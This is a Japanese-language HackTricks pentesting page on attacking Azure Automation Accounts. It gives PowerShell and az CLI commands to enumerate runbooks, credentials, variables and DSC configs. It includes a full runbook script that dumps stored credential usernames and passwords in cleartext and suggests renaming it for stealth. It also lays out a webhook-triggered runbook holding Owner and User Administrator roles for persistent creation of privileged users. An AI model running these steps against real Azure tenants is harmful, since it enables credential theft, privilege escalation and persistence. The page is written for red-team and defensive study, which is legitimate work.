Az - Automation Account

Support HackTricks

基本情報

ドキュメントから: Azure Automationは、Azureおよび非Azure環境全体で一貫した管理をサポートするクラウドベースの自動化、オペレーティングシステムの更新、および構成サービスを提供します。プロセス自動化、構成管理、更新管理、共有機能、および異種機能が含まれます。

これらはAzureの「スケジュールされたタスク」のようなもので、Azure環境管理、確認、構成するために、物事(アクションやスクリプト)を実行することができます。

実行アカウント

Run as Accountが使用されると、自己署名証明書を持つAzure AD アプリケーションが作成され、サービスプリンシパルが作成され、現在のサブスクリプション内のアカウントにContributorロールが割り当てられます(多くの特権があります)。 Microsoftは、Automation AccountにManaged Identityを使用することを推奨しています。

これは2023年9月30日に削除され、Managed Identitiesに変更されます。

Runbooks & Jobs

Runbooksは、任意のPowerShellコードを実行することを可能にします。これは攻撃者によって悪用される可能性があり、添付されたプリンシパルの権限を盗むことができます(存在する場合)。 Runbooksコードには、機密情報(クレデンシャルなど)も含まれている可能性があります。

ジョブ読むことができる場合は、実行の出力(潜在的な機密情報)が含まれているため、必ず行ってください。

Automation Accounts --> <Select Automation Account> --> Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connectionsに移動します。

ハイブリッドワーカー

Runbookは、Azure内のコンテナまたはハイブリッドワーカー(非Azureマシン)で実行できます。 Log Analytics Agentは、ハイブリッドワーカーとして登録するためにVMにデプロイされます。 ハイブリッドワーカーのジョブは、WindowsではSYSTEMとして、Linuxではnxautomationアカウントとして実行されます。 各ハイブリッドワーカーはハイブリッドワーカーグループに登録されます。

したがって、WindowsハイブリッドワーカーRunbookを実行することを選択できる場合、Systemとして外部マシン内で任意のコマンドを実行することになります(良いピボット技術です)。

コンプロマイズ状態構成 (SC)

ドキュメントから: Azure Automation State Configurationは、任意のクラウドまたはオンプレミスデータセンター内のノードのためにPowerShell Desired State Configuration (DSC) 構成を作成、管理、コンパイルすることを可能にするAzureの構成管理サービスです。このサービスは、DSCリソースをインポートし、ターゲットノードに構成を割り当て、すべてクラウド内で行います。AzureポータルでConfiguration Managementの下にある**State configuration (DSC)**を選択することで、Azure Automation State Configurationにアクセスできます。

これらの構成には機密情報が含まれている可能性があります。

RCE

SCを悪用して、管理されたマシンで任意のスクリプトを実行することが可能です。

Az - State Configuration RCE

列挙

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

自動化アカウントで定義されたクレデンシャルと変数をランブックを使用して抽出する

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

既存のRun Bookを修正することで、ウェブコンソールから同じことを行うことができます。

自動化された特権ユーザー作成の設定手順

1. 自動化アカウントの初期化

  • 必要なアクション: 新しい自動化アカウントを作成します。

  • 特定の設定: 「Azure Run As アカウントを作成する」が有効になっていることを確認します。

2. Runbookのインポートと設定

  • ソース: MicroBurst GitHubリポジトリからサンプルのrunbookをダウンロードします。

  • 必要なアクション:

  • Runbookを自動化アカウントにインポートします。

  • Runbookを公開して実行可能にします。

  • 外部トリガーを有効にするためにRunbookにWebhookを添付します。

3. AzureADモジュールの構成

  • 必要なアクション: 自動化アカウントにAzureADモジュールを追加します。

  • 追加のステップ: すべてのAzure Automationモジュールが最新バージョンに更新されていることを確認します。

4. 権限の割り当て

  • 割り当てる役割:

  • ユーザー管理者

  • サブスクリプションオーナー

  • ターゲット: 必要な特権のためにこれらの役割を自動化アカウントに割り当てます。

5. 潜在的なアクセス喪失の認識

  • 注意: このような自動化を構成することで、サブスクリプションの制御を失う可能性があることに注意してください。

6. ユーザー作成のトリガー

  • POSTリクエストを送信して新しいユーザーを作成するためにWebhookをトリガーします。

  • 提供されたPowerShellスクリプトを使用し、$uriを実際のWebhook URLに置き換え、$AccountInfoを希望のユーザー名とパスワードで更新します。

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

参考文献

HackTricksをサポートする

Last updated